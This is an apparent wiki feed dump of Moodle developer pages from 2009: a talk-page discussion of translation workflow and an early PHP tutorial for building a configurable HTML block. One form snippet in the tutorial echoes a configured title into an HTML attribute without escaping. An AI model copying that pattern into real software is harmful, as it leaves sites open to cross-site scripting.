$string[&#039;actions&#039;][1] = &#039;Actions&#039;; -- [[User:Mitsuhiro Yoshida|Mitsuhiro Yoshida]] 17:35, 8 December 2009 (UTC)&lt;br /&gt;
&lt;br /&gt;
* Ability to bulk change translated strings. --　[[User:Mitsuhiro Yoshida|Mitsuhiro Yoshida]] 23:57, 8 December 2009 (UTC)&lt;/div&gt;</summary>
		<author><name>Mits</name></author>
	</entry>
	<entry>
		<id>https://docs.moodle.org/dev/index.php?title=Talk:Languages_subsystem_improvements_2.0&amp;diff=28295</id>
		<title>Talk:Languages subsystem improvements 2.0</title>
		<link rel="alternate" type="text/html" href="https://docs.moodle.org/dev/index.php?title=Talk:Languages_subsystem_improvements_2.0&amp;diff=28295"/>
		<updated>2009-12-08T17:35:09Z</updated>

		<summary type="html">&lt;p&gt;Mits: /* Quick notes from our meeting in Prague */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;I really like your functional proposal, David - makes a lot of sense and adds possibly a lot of flexability for both developers and translators. All depends on how you see the storage. --[[User:koen roggemans|koen roggemans]] 19:33, 1 December 2009 (UTC)&lt;br /&gt;
&lt;br /&gt;
==Quick notes from our meeting in Prague==&lt;br /&gt;
(David feel free to add/modify in line)&lt;br /&gt;
&lt;br /&gt;
It is important for translators to be able to work with external tools, because there are problems in RTL languages to use online tools.&lt;br /&gt;
&lt;br /&gt;
It is also important to keep the translation process a simple as possible.&lt;br /&gt;
&lt;br /&gt;
It will be difficult/impossible to unite all our requirements in an external tool, so there will be the need to create/update a build in translation tool.&lt;br /&gt;
&lt;br /&gt;
For grammar and plural problems there will be a php-function that handles that. It will not be easy to use, but grammar and plural problems are not easy to solve. The whole string should be replaced by the function, based on a variable, because in some languages there is a lot more changing than just a few letters in plurals&lt;br /&gt;
&lt;br /&gt;
The compiling of a language pack is a good idea, but when working with the language editor (in admin menu and the new to  implement one at the bottom of the screen) there should be a way to start the compiling process so the translator can see the result immediately. This can be done on file refresh, on leaving the page, with a button, ... It will depend on the time the compilation takes.&lt;br /&gt;
&lt;br /&gt;
Proposal for changes to the translation process:&lt;br /&gt;
We replace CVS-access for translators with an upload button in a moodle installation to upload the files to moodle.org. That upload button handles a lot of requirements. It will be the only way for translators to commit files to Moodle. &lt;br /&gt;
* it adds the Moodle version to language files so moodle.org knows in which branch they need to go.&lt;br /&gt;
* access rights for the upload should be checked on moodle.org&lt;br /&gt;
* power users can still work on the files directly or use other translation tools, but the upload to moodle should be done with the correct moodle version&lt;br /&gt;
* each string gets a time stamp, put there by the build-in translation tool or by the upload process if the file is modified externally. That can be checked by calculating an md5 for every file on download and on working with the build in translation tool. That is necessary to be able to inform translators about modified English strings&lt;br /&gt;
* for translating a new moodle distribution, the translator should install a new distribution copy, import the old language files (they are pre processed on moodle.org = taking out all unused strings) and start working  locally,  preferably with the build in tool that creates a time stamp for every string, otherwise with an external tool - then the time stamp is created on upload.&lt;br /&gt;
* it could handle syntax checking, but that can also be done in the translation tool, on moodle.org after upload or in the compilation process after download. I (Koen) think that the checking in the translation tool is too early, since there are other ways to create the file, and on compilation is too late, because the error is then already in the language pack. I think it is better to prevent the upload of a file with errors so the translator has to fix them immediately before upload.&lt;br /&gt;
** &#039;&#039;I think the editor should be able to do syntax checking. It should just hi-light any bad strings in some way. That way, if you do edit a file in another tool, you just have to load it into the built-in editor to check it is OK. This is how the XMLDB editor works.&#039;&#039;--[[User:Tim Hunt|Tim Hunt]] 09:13, 6 December 2009 (UTC)&lt;br /&gt;
* the upload button only appears on beta release, witch is the start of the translation process and the stop of adding new features.&lt;br /&gt;
&lt;br /&gt;
--[[User:koen roggemans|koen roggemans]] 10:26, 5 December 2009 (UTC)&lt;br /&gt;
&lt;br /&gt;
* To notify translators some string was modified, can we change strings as below?&amp;lt;br /&amp;gt;&lt;br /&gt;
$string[&#039;abouttobeinstalled&#039;][2] = &#039;about to be installed&#039;;&amp;lt;br /&amp;gt;&lt;br /&gt;
$string[&#039;action&#039;][0] = &#039;Action&#039;;&amp;lt;br /&amp;gt;&lt;br /&gt;
$string[&#039;actions&#039;][1] = &#039;Actions&#039;; -- [[User:Mitsuhiro Yoshida|Mitsuhiro Yoshida]] 17:35, 8 December 2009 (UTC)&lt;/div&gt;</summary>
		<author><name>Mits</name></author>
	</entry>
	<entry>
		<id>https://docs.moodle.org/dev/index.php?title=Talk:Languages_subsystem_improvements_2.0&amp;diff=28294</id>
		<title>Talk:Languages subsystem improvements 2.0</title>
		<link rel="alternate" type="text/html" href="https://docs.moodle.org/dev/index.php?title=Talk:Languages_subsystem_improvements_2.0&amp;diff=28294"/>
		<updated>2009-12-08T17:32:19Z</updated>

		<summary type="html">&lt;p&gt;Mits: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;I really like your functional proposal, David - makes a lot of sense and adds possibly a lot of flexability for both developers and translators. All depends on how you see the storage. --[[User:koen roggemans|koen roggemans]] 19:33, 1 December 2009 (UTC)&lt;br /&gt;
&lt;br /&gt;
==Quick notes from our meeting in Prague==&lt;br /&gt;
(David feel free to add/modify in line)&lt;br /&gt;
&lt;br /&gt;
It is important for translators to be able to work with external tools, because there are problems in RTL languages to use online tools.&lt;br /&gt;
&lt;br /&gt;
It is also important to keep the translation process a simple as possible.&lt;br /&gt;
&lt;br /&gt;
It will be difficult/impossible to unite all our requirements in an external tool, so there will be the need to create/update a build in translation tool.&lt;br /&gt;
&lt;br /&gt;
For grammar and plural problems there will be a php-function that handles that. It will not be easy to use, but grammar and plural problems are not easy to solve. The whole string should be replaced by the function, based on a variable, because in some languages there is a lot more changing than just a few letters in plurals&lt;br /&gt;
&lt;br /&gt;
The compiling of a language pack is a good idea, but when working with the language editor (in admin menu and the new to  implement one at the bottom of the screen) there should be a way to start the compiling process so the translator can see the result immediately. This can be done on file refresh, on leaving the page, with a button, ... It will depend on the time the compilation takes.&lt;br /&gt;
&lt;br /&gt;
Proposal for changes to the translation process:&lt;br /&gt;
We replace CVS-access for translators with an upload button in a moodle installation to upload the files to moodle.org. That upload button handles a lot of requirements. It will be the only way for translators to commit files to Moodle. &lt;br /&gt;
* it adds the Moodle version to language files so moodle.org knows in which branch they need to go.&lt;br /&gt;
* access rights for the upload should be checked on moodle.org&lt;br /&gt;
* power users can still work on the files directly or use other translation tools, but the upload to moodle should be done with the correct moodle version&lt;br /&gt;
* each string gets a time stamp, put there by the build-in translation tool or by the upload process if the file is modified externally. That can be checked by calculating an md5 for every file on download and on working with the build in translation tool. That is necessary to be able to inform translators about modified English strings&lt;br /&gt;
* for translating a new moodle distribution, the translator should install a new distribution copy, import the old language files (they are pre processed on moodle.org = taking out all unused strings) and start working  locally,  preferably with the build in tool that creates a time stamp for every string, otherwise with an external tool - then the time stamp is created on upload.&lt;br /&gt;
* it could handle syntax checking, but that can also be done in the translation tool, on moodle.org after upload or in the compilation process after download. I (Koen) think that the checking in the translation tool is too early, since there are other ways to create the file, and on compilation is too late, because the error is then already in the language pack. I think it is better to prevent the upload of a file with errors so the translator has to fix them immediately before upload.&lt;br /&gt;
** &#039;&#039;I think the editor should be able to do syntax checking. It should just hi-light any bad strings in some way. That way, if you do edit a file in another tool, you just have to load it into the built-in editor to check it is OK. This is how the XMLDB editor works.&#039;&#039;--[[User:Tim Hunt|Tim Hunt]] 09:13, 6 December 2009 (UTC)&lt;br /&gt;
* the upload button only appears on beta release, witch is the start of the translation process and the stop of adding new features.&lt;br /&gt;
&lt;br /&gt;
--[[User:koen roggemans|koen roggemans]] 10:26, 5 December 2009 (UTC)&lt;br /&gt;
&lt;br /&gt;
To notify translators some string was modified, can we change strings as below?&lt;br /&gt;
&lt;br /&gt;
$string[&#039;abouttobeinstalled&#039;][2] = &#039;about to be installed&#039;;&amp;lt;br /&amp;gt;&lt;br /&gt;
$string[&#039;action&#039;][0] = &#039;Action&#039;;&amp;lt;br /&amp;gt;&lt;br /&gt;
$string[&#039;actions&#039;][1] = &#039;Actions&#039;;&lt;/div&gt;</summary>
		<author><name>Mits</name></author>
	</entry>
	<entry>
		<id>https://docs.moodle.org/dev/index.php?title=Blocks&amp;diff=2759</id>
		<title>Blocks</title>
		<link rel="alternate" type="text/html" href="https://docs.moodle.org/dev/index.php?title=Blocks&amp;diff=2759"/>
		<updated>2009-09-22T20:48:31Z</updated>

		<summary type="html">&lt;p&gt;Mits: ja link&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&#039;&#039;&#039; A Step-by-step Guide To Creating Blocks &#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Original Author: Jon Papaioannou (pj@moodle.org)&lt;br /&gt;
&lt;br /&gt;
The present document serves as a guide to developers who want to create their own blocks for use in Moodle. It applies to the 1.5 development version of Moodle (and any newer) &#039;&#039;&#039;only&#039;&#039;&#039;, as the blocks subsystem was rewritten and expanded for the 1.5 release. However, you can also find it useful if you want to modify blocks written for Moodle 1.3 and 1.4 to work with the latest versions (look at [[Blocks/Appendix_B| Appendix B]]).&lt;br /&gt;
&lt;br /&gt;
The guide is written as an interactive course which aims to develop a configurable, multi-purpose block that displays arbitrary HTML. It&#039;s targeted mainly at people with little experience with Moodle or programming in general and aims to show how easy it is to create new blocks for Moodle. A certain small amount of PHP programming knowledge is still required, though. &lt;br /&gt;
&lt;br /&gt;
Experienced developers and those who just want a &#039;&#039;&#039;reference&#039;&#039;&#039; text should refer to [[Blocks/Appendix_A| Appendix A]] because the main guide has a rather low concentration of pure information in the text.&lt;br /&gt;
&lt;br /&gt;
== Basic Concepts ==&lt;br /&gt;
&lt;br /&gt;
Through this guide, we will be following the creation of an &amp;quot;HTML&amp;quot; block from scratch in order to demonstrate most of the block features at our disposal. Our block will be named &amp;quot;SimpleHTML&amp;quot;. This does not constrain us regarding the name of the actual directory on the server where the files for our block will be stored, but for consistency we will follow the practice of using the lowercased form &amp;quot;simplehtml&amp;quot; in any case where such a name is required. &lt;br /&gt;
&lt;br /&gt;
Whenever we refer to a file or directory name which contains &amp;quot;simplehtml&amp;quot;, it&#039;s important to remember that &#039;&#039;only&#039;&#039; the &amp;quot;simplehtml&amp;quot; part is up to us to change; the rest is standardized and essential for Moodle to work correctly.&lt;br /&gt;
&lt;br /&gt;
Whenever a file&#039;s path is mentioned in this guide, it will always start with a slash. This refers to the Moodle home directory; all files and directories will be referred to with respect to that directory.&lt;br /&gt;
&lt;br /&gt;
== Ready, Set, Go! ==&lt;br /&gt;
&lt;br /&gt;
To define a &amp;quot;block&amp;quot; in Moodle, in the most basic case we need to provide just one source code file. We start by creating the directory &#039;&#039;/blocks/simplehtml/&#039;&#039; and creating a file named &#039;&#039;/blocks/simplehtml/&#039;&#039;&#039;&#039;&#039;block_simplehtml.php&#039;&#039;&#039; which will hold our code. We then begin coding the block:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code php&amp;gt;&lt;br /&gt;
&amp;lt;?php&lt;br /&gt;
class block_simplehtml extends block_base {&lt;br /&gt;
  function init() {&lt;br /&gt;
    $this-&amp;gt;title   = get_string(&#039;simplehtml&#039;, &#039;block_simplehtml&#039;);&lt;br /&gt;
    $this-&amp;gt;version = 2004111200;&lt;br /&gt;
  }&lt;br /&gt;
  // The PHP tag and the curly bracket for the class definition &lt;br /&gt;
  // will only be closed after there is another function added in the next section.&lt;br /&gt;
&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The first line is our block class definition; it must be named exactly in the manner shown. Again, only the &amp;quot;simplehtml&amp;quot; part can (and indeed must) change; everything else is standardized.&lt;br /&gt;
&lt;br /&gt;
Our class is then given a small method: [[Blocks/Appendix_A#init.28.29| init()]]. This is essential for all blocks, and its purpose is to set the two class member variables listed inside it. But what do these values actually mean? Here&#039;s a more detailed description.&lt;br /&gt;
&lt;br /&gt;
[[Blocks/Appendix_A#.24this-.3Etitle| $this-&amp;gt;title]] is the title displayed in the header of our block. We can set it to whatever we like; in this case it&#039;s set to read the actual title from a language file we are presumably distributing together with the block. I &#039;ll skip ahead a bit here and say that if you want your block to display &#039;&#039;&#039;no&#039;&#039;&#039; title at all, then you should set this to any descriptive value you want (but &#039;&#039;&#039;not&#039;&#039;&#039; make it an empty string). We will later see [[Blocks#Eye_Candy| how to disable the title&#039;s display]].&lt;br /&gt;
&lt;br /&gt;
[[Blocks/Appendix_A#.24this-.3Eversion| $this-&amp;gt;version]] is the version of our block. This actually would only make a difference if your block wanted to keep its own data in special tables in the database (i.e. for very complex blocks). In that case the version number is used exactly as it&#039;s used in activities; an upgrade script uses it to incrementally upgrade an &amp;quot;old&amp;quot; version of the block&#039;s data to the latest. We will outline this process further ahead, since blocks tend to be relatively simple and not hold their own private data. &lt;br /&gt;
&lt;br /&gt;
In our example, this is certainly the case so we just set [[Blocks/Appendix_A#.24this-.3Eversion| $this-&amp;gt;version]] to &#039;&#039;&#039;YYYYMMDD00&#039;&#039;&#039; and forget about it.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;UPDATING:&#039;&#039;&#039;&amp;lt;br /&amp;gt; &lt;br /&gt;
Prior to version 1.5, the basic structure of each block class was slightly different. Refer to [[Blocks/Appendix_B| Appendix B]] for more information on the changes that old blocks have to make to conform to the new standard.&lt;br /&gt;
&lt;br /&gt;
== I Just Hear Static ==&lt;br /&gt;
In order to get our block to actually display something on screen, we need to add one more method to our class (before the final closing brace in our file). The new code is:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code php&amp;gt;  &lt;br /&gt;
  function get_content() {&lt;br /&gt;
    if ($this-&amp;gt;content !== NULL) {&lt;br /&gt;
      return $this-&amp;gt;content;&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    $this-&amp;gt;content         =  new stdClass;&lt;br /&gt;
    $this-&amp;gt;content-&amp;gt;text   = &#039;The content of our SimpleHTML block!&#039;;&lt;br /&gt;
    $this-&amp;gt;content-&amp;gt;footer = &#039;Footer here...&#039;;&lt;br /&gt;
 &lt;br /&gt;
    return $this-&amp;gt;content;&lt;br /&gt;
  }&lt;br /&gt;
}   // Here&#039;s the closing curly bracket for the class definition&lt;br /&gt;
    // and here&#039;s the closing PHP tag from the section above.&lt;br /&gt;
?&amp;gt;  &amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
It can&#039;t get any simpler than that, can it? Let&#039;s dissect this method to see what&#039;s going on...&lt;br /&gt;
&lt;br /&gt;
First of all, there is a check that returns the current value of [[Blocks/Appendix_A#.24this-.3Econtent| $this-&amp;gt;content]] if it&#039;s not NULL; otherwise we proceed with &amp;quot;computing&amp;quot; it. Since the computation is potentially a time-consuming operation and it &#039;&#039;&#039;will&#039;&#039;&#039; be called several times for each block (Moodle works that way internally), we take a precaution and include this time-saver.&lt;br /&gt;
Supposing the content had not been computed before (it was NULL), we then define it from scratch. The code speaks for itself there, so there isn&#039;t much to say. Just keep in mind that we can use HTML both in the text &#039;&#039;&#039;and&#039;&#039;&#039; in the footer, if we want to.&lt;br /&gt;
&lt;br /&gt;
At this point our block should be capable of being automatically installed in Moodle and added to courses; visit your administration page to install it (Click &amp;quot;Notifications&amp;quot; under the Site Administration Block) and after seeing it in action come back to continue our tutorial.&lt;br /&gt;
&lt;br /&gt;
== Configure That Out ==&lt;br /&gt;
&lt;br /&gt;
The current version of our block doesn&#039;t really do much; it just displays a fixed message, which is not very useful. What we &#039;d really like to do is allow the teachers to customize what goes into the block. This, in block-speak, is called &amp;quot;instance configuration&amp;quot;. So let&#039;s give our block some instance configuration...&lt;br /&gt;
First of all, we need to tell Moodle that we want it to provide instance-specific configuration amenities to our block. That&#039;s as simple as adding one more method to our block class:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code php&amp;gt;&lt;br /&gt;
function instance_allow_config() {&lt;br /&gt;
  return true;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
This small change is enough to make Moodle display an &amp;quot;Edit...&amp;quot; icon in our block&#039;s header when we turn editing mode on in any course. However, if you try to click on that icon you will be presented with a notice that complains about the block&#039;s configuration not being implemented correctly. Try it, it&#039;s harmless.&lt;br /&gt;
Moodle&#039;s complaints do make sense. We told it that we want to have configuration, but we didn&#039;t say &#039;&#039;what&#039;&#039; kind of configuration we want, or how it should be displayed. To do that, we need to create one more file: &amp;lt;span class=&amp;quot;filename&amp;quot;&amp;gt;/blocks/simplehtml/&#039;&#039;&#039;config_instance.html&#039;&#039;&#039;&amp;lt;/span&amp;gt; (which has to be named exactly like that). For the moment, copy paste the following into it and save:&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;code php&amp;gt;&lt;br /&gt;
&amp;lt;table cellpadding=&amp;quot;9&amp;quot; cellspacing=&amp;quot;0&amp;quot;&amp;gt;&lt;br /&gt;
  &amp;lt;tr valign=&amp;quot;top&amp;quot;&amp;gt;&lt;br /&gt;
    &amp;lt;td align=&amp;quot;right&amp;quot;&amp;gt;&lt;br /&gt;
       &amp;lt;?php print_string(&#039;configcontent&#039;, &#039;block_simplehtml&#039;); ?&amp;gt;:&lt;br /&gt;
    &amp;lt;/td&amp;gt;&lt;br /&gt;
    &amp;lt;td&amp;gt;&lt;br /&gt;
       &amp;lt;?php print_textarea(true, 10, 50, 0, 0, &#039;text&#039;, $this-&amp;gt;config-&amp;gt;text); ?&amp;gt;&lt;br /&gt;
    &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;/tr&amp;gt;&lt;br /&gt;
  &amp;lt;tr&amp;gt;&lt;br /&gt;
    &amp;lt;td colspan=&amp;quot;2&amp;quot; align=&amp;quot;center&amp;quot;&amp;gt;&lt;br /&gt;
      &amp;lt;input type=&amp;quot;submit&amp;quot; value=&amp;quot;&amp;lt;?php print_string(&#039;savechanges&#039;) ?&amp;gt;&amp;quot; /&amp;gt;&lt;br /&gt;
    &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;/table&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;?php use_html_editor(); ?&amp;gt;&lt;br /&gt;
&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
It isn&#039;t difficult to see that the above code just provides us with a wysiwyg-editor-enabled textarea to write our block&#039;s desired content in and a submit button to save. But... what&#039;s $this-&amp;gt;config-&amp;gt;text? Well...&lt;br /&gt;
Moodle goes a long way to make things easier for block developers. Did you notice that the textarea is actually named &amp;quot;text&amp;quot;? When the submit button is pressed, Moodle saves each and every field it can find in our &#039;&#039;&#039;config_instance.html&#039;&#039;&#039; file as instance configuration data. &lt;br /&gt;
&lt;br /&gt;
We can then access that data as &#039;&#039;&#039;$this-&amp;gt;config-&amp;gt;&#039;&#039;variablename&#039;&#039;&#039;&#039;&#039;, where &#039;&#039;variablename&#039;&#039; is the actual name we used for our field; in this case, &amp;quot;text&amp;quot;. So in essence, the above form just pre-populates the textarea with the current content of the block (as indeed it should) and then allows us to change it.&lt;br /&gt;
&lt;br /&gt;
You also might be surprised by the presence of a submit button and the absence of any &amp;lt;form&amp;gt; element at the same time. But the truth is, we don&#039;t need to worry about that at all; Moodle goes a really long way to make things easier for developers! We just print the configuration options we want, in any format we want; include a submit button, and Moodle will handle all the rest itself. The instance configuration variables are automatically at our disposal to access from any of the class methods &#039;&#039;except&#039;&#039; [[Blocks/Appendix_A#init.28.29| init()]].&lt;br /&gt;
&lt;br /&gt;
In the event where the default behavior is not satisfactory, we can still override it. However, this requires advanced modifications to our block class and will not be covered here; refer to [[Blocks/Appendix_A| Appendix A]] for more details.&lt;br /&gt;
Having now the ability to refer to this instance configuration data through [[Blocks/Appendix_A#.24this-.3Econfig| $this-&amp;gt;config]], the final twist is to tell our block to actually &#039;&#039;display&#039;&#039; what is saved in its configuration data. To do that, find this snippet in &#039;&#039;/blocks/simplehtml/block_simplehtml.php&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code php&amp;gt;&lt;br /&gt;
 $this-&amp;gt;content = new stdClass;&lt;br /&gt;
 $this-&amp;gt;content-&amp;gt;text   = &#039;The content of our SimpleHTML block!&#039;;&lt;br /&gt;
 $this-&amp;gt;content-&amp;gt;footer = &#039;Footer here...&#039;;&lt;br /&gt;
&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
and change it to:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code php&amp;gt;&lt;br /&gt;
 $this-&amp;gt;content = new stdClass;&lt;br /&gt;
 $this-&amp;gt;content-&amp;gt;text   = $this-&amp;gt;config-&amp;gt;text;&lt;br /&gt;
 $this-&amp;gt;content-&amp;gt;footer = &#039;Footer here...&#039;;&lt;br /&gt;
&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Oh, and since the footer isn&#039;t really exciting at this point, we remove it from our block because it doesn&#039;t contribute anything. We could just as easily have decided to make the footer configurable in the above way, too. So for our latest code, the snippet becomes:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code php&amp;gt;&lt;br /&gt;
 $this-&amp;gt;content = new stdClass;&lt;br /&gt;
 $this-&amp;gt;content-&amp;gt;text   = $this-&amp;gt;config-&amp;gt;text;&lt;br /&gt;
 $this-&amp;gt;content-&amp;gt;footer = &#039;&#039;;&lt;br /&gt;
&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
After this discussion, our block is ready for prime time! Indeed, if you now visit any course with a SimpleHTML block, you will see that modifying its contents is now a snap.&lt;br /&gt;
&lt;br /&gt;
[[#top|Back to top of page]]&lt;br /&gt;
&lt;br /&gt;
== The Specialists ==&lt;br /&gt;
&lt;br /&gt;
Implementing instance configuration for the block&#039;s contents was good enough to whet our appetite, but who wants to stop there? Why not customize the block&#039;s title, too?&lt;br /&gt;
&lt;br /&gt;
Why not, indeed. Well, our first attempt to achieve this is natural enough: let&#039;s add another field to &amp;lt;span class=&amp;quot;filename&amp;quot;&amp;gt;/blocks/simplehtml/config_instance.html&amp;lt;/span&amp;gt;. Here goes:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code php&amp;gt;&lt;br /&gt;
&amp;lt;tr valign=&amp;quot;top&amp;quot;&amp;gt;&lt;br /&gt;
  &amp;lt;td align=&amp;quot;right&amp;quot;&amp;gt;&amp;lt;p&amp;gt;&lt;br /&gt;
    &amp;lt;?php print_string(&#039;configtitle&#039;, &#039;block_simplehtml&#039;); ?&amp;gt;:&amp;lt;/p&amp;gt;&lt;br /&gt;
  &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;&lt;br /&gt;
    &amp;lt;input type=&amp;quot;text&amp;quot; name=&amp;quot;title&amp;quot; size=&amp;quot;30&amp;quot; value=&amp;quot;&amp;lt;?php echo $this-&amp;gt;config-&amp;gt;title; ?&amp;gt;&amp;quot; /&amp;gt;&lt;br /&gt;
  &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
We save the edited file, go to a course, edit the title of the block and... nothing happens! The instance configuration is saved correctly, all right (editing it once more proves that) but it&#039;s not being displayed. All we get is just the simple &amp;quot;SimpleHTML&amp;quot; title.&lt;br /&gt;
&lt;br /&gt;
That&#039;s not too weird, if we think back a bit. Do you remember that [[Blocks/Appendix_A#init.28.29|init()]] method, where we set [[Blocks/Appendix_A#.24this-.3Etitle|$this-&amp;gt;title]]? We didn&#039;t actually change its value from then, and [[Blocks/Appendix_A#.24this-.3Etitle|$this-&amp;gt;title]] is definitely not the same as &#039;&#039;&#039;$this-&amp;gt;config-&amp;gt;title&#039;&#039;&#039; (to Moodle, at least). What we need is a way to update [[Blocks/Appendix_A#.24this-.3Etitle|$this-&amp;gt;title]] with the value in the instance configuration. But as we said a bit earlier, we can use [[Blocks/Appendix_A#.24this-.3Econfig| $this-&amp;gt;config]] in all methods &#039;&#039;except&#039;&#039; [[Blocks/Appendix_A#init.28.29|init()]]! So what can we do?&lt;br /&gt;
&lt;br /&gt;
Let&#039;s pull out another ace from our sleeve, and add this small method to our block class:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code php&amp;gt;&lt;br /&gt;
function specialization() {&lt;br /&gt;
  if(!empty($this-&amp;gt;config-&amp;gt;title)){&lt;br /&gt;
    $this-&amp;gt;title = $this-&amp;gt;config-&amp;gt;title;&lt;br /&gt;
  }else{&lt;br /&gt;
    $this-&amp;gt;config-&amp;gt;title = &#039;Some title ...&#039;;&lt;br /&gt;
  }&lt;br /&gt;
  if(empty($this-&amp;gt;config-&amp;gt;text)){&lt;br /&gt;
    $this-&amp;gt;config-&amp;gt;text = &#039;Some text ...&#039;;&lt;br /&gt;
  }    &lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Aha, here&#039;s what we wanted to do all along! But what&#039;s going on with the [[Blocks/Appendix_A#specialization.28.29| specialization()]] method?&lt;br /&gt;
&lt;br /&gt;
This &amp;quot;magic&amp;quot; method has actually a very nice property: it&#039;s &#039;&#039;guaranteed&#039;&#039; to be automatically called by Moodle as soon as our instance configuration is loaded and available (that is, immediately after [[Blocks/Appendix_A#init.28.29|init()]] is called). That means before the block&#039;s content is computed for the first time, and indeed before &#039;&#039;anything&#039;&#039; else is done with the block. Thus, providing a [[Blocks/Appendix_A#specialization.28.29| specialization()]] method is the natural choice for any configuration data that needs to be acted upon &amp;quot;as soon as possible&amp;quot;, as in this case.&lt;br /&gt;
&lt;br /&gt;
== Now You See Me, Now You Don&#039;t ==&lt;br /&gt;
&lt;br /&gt;
Now would be a good time to mention another nifty technique that can be used in blocks, and which comes in handy quite often. Specifically, it may be the case that our block will have something interesting to display some of the time; but in some other cases, it won&#039;t have anything useful to say. (An example here would be the &amp;quot;Recent Activity&amp;quot; block, in the case where no recent activity in fact exists. &lt;br /&gt;
&lt;br /&gt;
However in that case the block chooses to explicitly inform you of the lack of said activity, which is arguably useful). It would be nice, then, to be able to have our block &amp;quot;disappear&amp;quot; if it&#039;s not needed to display it.&lt;br /&gt;
&lt;br /&gt;
This is indeed possible, and the way to do it is to make sure that after the [[Blocks/Appendix_A#get_content.28.29| get_content()]] method is called, the block is completely void of content. Specifically, &amp;quot;void of content&amp;quot; means that both $this-&amp;gt;content-&amp;gt;text and $this-&amp;gt;content-&amp;gt;footer are each equal to the empty string (&amp;lt;nowiki&amp;gt;&#039;&#039;&amp;lt;/nowiki&amp;gt;). Moodle performs this check by calling the block&#039;s [[Blocks/Appendix_A#is_empty.28.29| is_empty()]] method, and if the block is indeed empty then it is not displayed at all.&lt;br /&gt;
&lt;br /&gt;
Note that the exact value of the block&#039;s title and the presence or absence of a [[Blocks/Appendix_A#hide_header.28.29| hide_header()]] method do &#039;&#039;not&#039;&#039; affect this behavior. A block is considered empty if it has no content, irrespective of anything else.&lt;br /&gt;
&lt;br /&gt;
== We Are Legion ==&lt;br /&gt;
&lt;br /&gt;
Right now our block is fully configurable, both in title and content. It&#039;s so versatile, in fact, that we could make pretty much anything out of it. It would be really nice to be able to add multiple blocks of this type to a single course. And, as you might have guessed, doing that is as simple as adding another small method to our block class:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code php&amp;gt;&lt;br /&gt;
function instance_allow_multiple() {&lt;br /&gt;
  return true;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
This tells Moodle that it should allow any number of instances of the SimpleHTML block in any course. After saving the changes to our file, Moodle immediately allows us to add multiple copies of the block without further ado!&lt;br /&gt;
&lt;br /&gt;
There are a couple more of interesting points to note here. First of all, even if a block itself allows multiple instances in the same page, the administrator still has the option of disallowing such behavior. This setting can be set separately for each block from the Administration / Configuration / Blocks page.&lt;br /&gt;
&lt;br /&gt;
And finally, a nice detail is that as soon as we defined an [[Blocks/Appendix_A#instance_allow_multiple.28.29| instance_allow_multiple()]] method, the method [[Blocks/Appendix_A#instance_allow_config.28.29| instance_allow_config()]] that was already defined became obsolete. &lt;br /&gt;
&lt;br /&gt;
Moodle assumes that if a block allows multiple instances of itself, those instances will want to be configured (what is the point of same multiple instances in the same page if they are identical?) and thus automatically provides an &amp;quot;Edit&amp;quot; icon. So, we can also remove the whole [[Blocks/Appendix_A#instance_allow_config.28.29| instance_allow_config()]] method now without harm. We had only needed it when multiple instances of the block were not allowed.&lt;br /&gt;
&lt;br /&gt;
[[#top|Back to top of page]]&lt;br /&gt;
&lt;br /&gt;
== The Effects of Globalization ==&lt;br /&gt;
&lt;br /&gt;
Configuring each block instance with its own personal data is cool enough, but sometimes administrators need some way to &amp;quot;touch&amp;quot; all instances of a specific block at the same time. In the case of our SimpleHTML block, a few settings that would make sense to apply to all instances aren&#039;t that hard to come up with. &lt;br /&gt;
&lt;br /&gt;
For example, we might want to limit the contents of each block to only so many characters, or we might have a setting that filters HTML out of the block&#039;s contents, only allowing pure text in. Granted, such a feature wouldn&#039;t win us any awards for naming our block &amp;quot;SimpleHTML&amp;quot; but some tormented administrator somewhere might actually find it useful.&lt;br /&gt;
&lt;br /&gt;
This kind of configuration is called &amp;quot;global configuration&amp;quot; and applies only to a specific block type (all instances of that block type are affected, however). Implementing such configuration for our block is quite similar to implementing the instance configuration. We will now see how to implement the second example, having a setting that only allows text and not HTML in the block&#039;s contents.&lt;br /&gt;
First of all, we need to tell Moodle that we want our block to provide global configuration by, what a surprise, adding a small method to our block class:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code php&amp;gt; &lt;br /&gt;
function has_config() {&lt;br /&gt;
  return true;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
